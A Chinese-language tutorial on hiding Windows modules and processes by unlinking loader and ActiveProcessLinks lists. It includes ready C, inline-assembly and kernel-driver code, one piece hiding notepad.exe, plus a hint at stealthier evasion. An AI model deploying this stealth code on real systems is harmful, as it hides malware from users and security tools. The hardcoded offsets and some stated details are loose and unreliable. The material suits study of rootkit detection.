基于PEB断链实现进程/模块隐藏
字数 1418 2025-08-07 08:22:27
基于PEB断链实现进程/模块隐藏技术详解
0x00 技术概述
PEB断链技术是一种通过修改进程环境块(PEB)中的链表结构来实现进程或模块隐藏的方法。该技术既可以在用户层(3环)实现DLL模块的隐藏,也可以在内核层(0环)实现进程的隐藏。其核心原理是通过修改PEB中的双向链表结构,使目标模块或进程从系统枚举的列表中"消失"。
0x01 用户层(3环)PEB断链技术
基本数据结构
TEB和PEB结构
- 每个线程都有一个TEB(Thread Environment Block)结构
- 通过
fs:[0]可以获取TEB地址 - TEB偏移0x30处有一个指针指向PEB(Process Environment Block)结构
PEB_LDR_DATA结构
位于PEB偏移0x0c处,包含三个重要的双向链表:
typedef struct _PEB_LDR_DATA {
DWORD Length;
bool Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList; // 模块加载顺序链表
LIST_ENTRY InMemoryOrderModuleList; // 模块在内存中的顺序链表
LIST_ENTRY InInitializationOrderModuleList; // 模块初始化顺序链表
} PEB_LDR_DATA, *PPEB_LDR_DATA;
LDR_DATA_TABLE_ENTRY结构
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
void* BaseAddress; // DLL基地址
void* EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
HANDLE SectionHandle;
ULONG CheckSum;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
实现原理
- 通过遍历PEB中的三个链表(InLoadOrderModuleList、InMemoryOrderModuleList、InInitializationOrderModuleList)
- 找到目标模块的LDR_DATA_TABLE_ENTRY结构
- 修改链表指针,使目标模块从链表中"断开"
具体实现步骤
- 获取PEB地址:
mov eax, fs:[0x30] // 获取PEB地址
mov ecx, [eax + 0x0c] // 获取PEB_LDR_DATA结构
- 遍历链表并断链:
PLIST_ENTRY Head, Cur;
Head = &(ldr->InLoadOrderModuleList);
Cur = Head->Flink;
do {
ldte = CONTAINING_RECORD(Cur, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);
if (ldte->BaseAddress == hModule) {
// 执行断链操作
ldte->InLoadOrderModuleList.Blink->Flink = ldte->InLoadOrderModuleList.Flink;
ldte->InLoadOrderModuleList.Flink->Blink = ldte->InLoadOrderModuleList.Blink;
}
Cur = Cur->Flink;
} while (Head != Cur);
- 对三个链表都执行相同的断链操作
完整代码示例
#include <Windows.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
// 定义PEB_LDR_DATA和LDR_DATA_TABLE_ENTRY结构...
void HideModule(HMODULE hModule) {
PPEB_LDR_DATA ldr;
PLDR_DATA_TABLE_ENTRY ldte;
// 获取LDR
__asm {
mov eax, fs:[0x30]
mov ecx, [eax + 0x0c]
mov ldr, ecx
}
// 对三个链表执行断链操作...
}
int main() {
HideModule(GetModuleHandleA("kernel32.dll"));
return 0;
}
隐藏所有模块
void HideModule_All() {
PPEB_LDR_DATA ldr;
__asm {
mov eax, fs:[0x30]
mov ecx, [eax + 0x0c]
mov ldr, ecx
}
PLIST_ENTRY Head;
Head = &(ldr->InLoadOrderModuleList);
Head->Flink = Head->Blink = Head;
Head = &(ldr->InMemoryOrderModuleList);
Head->Flink = Head->Blink = Head;
Head = &(ldr->InInitializationOrderModuleList);
Head->Flink = Head->Blink = Head;
}
0x02 内核层(0环)PEB断链技术
基本数据结构
EPROCESS结构
- 代表内核中的进程对象
- 偏移0x088处是ActiveProcessLinks成员,指向_LIST_ENTRY结构
- 偏移0x174处是ImageFileName,存储进程名
实现原理
- 通过PsActiveProcessHead全局变量获取进程链表头
- 遍历ActiveProcessLinks链表
- 找到目标进程的EPROCESS结构
- 修改链表指针,使目标进程从链表中"断开"
具体实现步骤
- 获取当前进程的EPROCESS结构:
mov eax, fs:[0x124] // 获取当前线程的ETHREAD
mov eax, [eax + 0x220] // 获取ThreadsProcess(EPROCESS)
- 遍历进程链表:
PEPROCESS pCurProcess = pEprocess;
do {
PCHAR ImageFileName = (PCHAR)pCurProcess + 0x174;
if (strcmp(ImageFileName, "notepad.exe") == 0) {
// 执行断链操作
PLIST_ENTRY curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
curNode->Blink->Flink = curNode->Flink;
curNode->Flink->Blink = curNode->Blink;
}
pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);
} while (pEprocess != pCurProcess);
完整驱动代码示例
#include <ntddk.h>
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path);
VOID DriverUnload(PDRIVER_OBJECT driver);
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) {
PEPROCESS pEprocess, pCurProcess;
__asm {
mov eax, fs:[0x124];
mov eax, [eax + 0x220];
mov pEprocess, eax;
}
pCurProcess = pEprocess;
do {
PCHAR ImageFileName = (PCHAR)pCurProcess + 0x174;
if (strcmp(ImageFileName, "notepad.exe") == 0) {
PLIST_ENTRY curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
curNode->Blink->Flink = curNode->Flink;
curNode->Flink->Blink = curNode->Blink;
DbgPrint("断链成功!\n");
}
pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);
} while (pEprocess != pCurProcess);
driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
VOID DriverUnload(PDRIVER_OBJECT driver) {
DbgPrint("驱动卸载成功\n");
}
0x03 技术要点总结
-
用户层模块隐藏:
- 通过修改PEB中的三个模块链表实现
- 需要遍历InLoadOrderModuleList、InMemoryOrderModuleList和InInitializationOrderModuleList
- 使用CONTAINING_RECORD宏获取结构体基址
-
内核层进程隐藏:
- 通过修改EPROCESS中的ActiveProcessLinks实现
- 需要从PsActiveProcessHead开始遍历
- 注意EPROCESS结构偏移计算(ActiveProcessLinks在+0x88处)
-
通用技术要点:
- 双向链表操作:修改Flink和Blink指针
- 结构体偏移计算要准确
- 在驱动中需要注意内存访问权限
-
检测与防御:
- 安全软件通常会检测PEB和EPROCESS结构的完整性
- 直接内存修改可能触发PatchGuard(内核)
- 更隐蔽的方法是同时修改多个相关结构
0x04 注意事项
- 内核层操作需要驱动程序权限
- Windows不同版本结构体偏移可能不同
- 64位系统需要调整汇编指令和指针大小
- 过度使用可能导致系统不稳定
- 仅用于学习研究,实际应用中需考虑对抗检测机制
通过掌握PEB断链技术,可以深入理解Windows操作系统进程和模块管理机制,为系统安全研究和防护提供理论基础。